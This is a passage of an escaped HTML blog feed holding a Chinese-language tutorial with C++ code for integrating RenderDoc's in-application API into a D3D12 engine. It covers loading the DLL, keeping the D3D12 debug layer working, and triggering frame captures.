href=\"https://github.com/stalomeow/StarRailNPRShader\"\u003eGitHub: stalomeow/StarRailNPRShader\u003c/a\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/per-object-shadow-improvement/"},{"title":"集成 RenderDoc","time":"2024-08-20T15:53:05Z","content":"\u003ch1 id=\"集成-RenderDoc\"\u003e集成 RenderDoc\u003ca class=\"headerlink\" href=\"#集成-RenderDoc\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e实现像 Unity 一样,直接从自己程序里调起 RenderDoc 截帧的功能。参考文档:\u003ca href=\"https://renderdoc.org/docs/in_application_api.html\"\u003eIn-application API — RenderDoc documentation\u003c/a\u003e。\u003c/p\u003e\n\u003ch2 id=\"引入头文件\"\u003e引入头文件\u003ca class=\"headerlink\" href=\"#引入头文件\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e在 RenderDoc 的安装目录里,有 \u003ccode\u003erenderdoc_app.h\u003c/code\u003e,复制进项目即可。然后,写一个类简单封装一下。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003efinal\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eLoad\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eCaptureSingleFrame\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003euint32_t\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetNumCaptures\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003etuple\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint32_t\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetVersion\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetLibraryPath\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003ecpp 文件里\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRENDERDOC_API_1_5_0\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enullptr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2 id=\"加载\"\u003e加载\u003ca class=\"headerlink\" href=\"#加载\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e\u003cmark\u003e在创建图形设备前\u003c/mark\u003e,枚举常用的 RenderDoc 安装位置,动态加载安装目录里的 \u003ccode\u003erenderdoc.dll\u003c/code\u003e。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003estd\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eRenderDoc::GetLibraryPath\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003econst\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 常用安装位置,可以多枚举几个\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;C:\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s\"\u003eProgram Files\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s\"\u003eRenderDoc\u003c/span\u003e\u003cspan class=\"se\"\u003e\\\\\u003c/span\u003e\u003cspan class=\"s\"\u003erenderdoc.dll\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e如果 \u003ccode\u003eLoadLibrary\u003c/code\u003e 前,\u003ccode\u003erenderdoc.dll\u003c/code\u003e 已经被加载,说明用户是用 RenderDoc 启动 App 的,就不需要再手动 load 了。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eRenderDoc::IsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enullptr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eRenderDoc::Load\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 如果使用 RenderDoc 启动 App 的话,不重复加载 dll\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHMODULE\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehModule\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetModuleHandleA\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;renderdoc.dll\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ehModule\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehModule\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLoadLibraryA\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGetLibraryPath\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003ehModule\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDEBUG_LOG_ERROR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Failed to load RenderDoc library\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRENDERDOC_GetAPI\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereinterpret_cast\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003epRENDERDOC_GetAPI\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGetProcAddress\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehModule\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;RENDERDOC_GetAPI\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eret\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRENDERDOC_GetAPI\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eeRENDERDOC_API_Version_1_5_0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereinterpret_cast\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eret\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enullptr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eDEBUG_LOG_ERROR\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Failed to get RenderDoc API. Return Code: %d\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eret\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eMaskOverlayBits\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eeRENDERDOC_Overlay_None\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eeRENDERDOC_Overlay_None\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 不显示 overlay\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCaptureKeys\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003enullptr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e在最后,调用 \u003ccode\u003eMaskOverlayBits\u003c/code\u003e 把 RenderDoc 左上角黑色的 Overlay 信息隐藏掉;调用 \u003ccode\u003eSetCaptureKeys\u003c/code\u003e 把默认的快捷键取消掉。\u003c/p\u003e\n\u003ch2 id=\"D3D12-调试层\"\u003eD3D12 调试层\u003ca class=\"headerlink\" href=\"#D3D12-调试层\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e在做 D3D12 开发时,我们通常会开启 D3D12 的调试层,但 RenderDoc 默认情况下禁用了 API Validation 和 Debug Output,使得 D3D12 的调试层失去作用。\u003c/p\u003e\n\u003cp\u003e在加载 RenderDoc 后,调用下面的方法可以解决。\u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCaptureOptionU32\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eeRENDERDOC_Option_APIValidation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCaptureOptionU32\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eeRENDERDOC_Option_DebugOutputMute\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e另外,RenderDoc 会使 \u003ccode\u003eID3D12InfoQueue1\u003c/code\u003e 失去作用,因为它只提供了一个 dummy 的实现。\u003csup id=\"fnref:2\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:2\"\u003e2\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"c1\"\u003e// give every impression of working but do nothing.\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// Just allow the user to call functions so that they don\u0026#39;t\u003c/span\u003e\n\u003cspan class=\"c1\"\u003e// have to check for E_NOINTERFACE when they expect an infoqueue to be there\u003c/span\u003e\n\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nc\"\u003eDummyID3D12InfoQueue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eID3D12InfoQueue1\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// ...\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eRenderDoc 会使 D3D12 的调试层变得不完整,它本身又有一些额外的开销,所以不建议每次启动应用时都加载 RenderDoc。\u003c/p\u003e\n\u003cp\u003e可以像 Unity 一样,提供一个加载按钮,但是加载 RenderDoc 后需要重新创建图形设备,整个过程是比较麻烦的。也可以提供一个命令行参数 \u003ccode\u003e-load-renderdoc\u003c/code\u003e,仅在有该参数的情况下加载 RenderDoc,修改 VisualStudio 调试器的启动参数就行。\u003c/p\u003e\n\u003ch2 id=\"截帧\"\u003e截帧\u003ca class=\"headerlink\" href=\"#截帧\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eRenderDoc::CaptureSingleFrame\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eIsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTriggerCapture\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eIsTargetControlConnected\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eShowReplayUI\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eLaunchReplayUI\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enullptr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e调用这个方法后,会立即截一帧,然后打开 RenderDoc 窗口,就像 Unity 一样。\u003c/p\u003e\n\u003ch2 id=\"附加信息\"\u003e附加信息\u003ca class=\"headerlink\" href=\"#附加信息\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e获取截帧和版号信息。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"kt\"\u003euint32_t\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eRenderDoc::GetNumCaptures\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eIsLoaded\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eg_Api\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eGetNumCaptures\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan 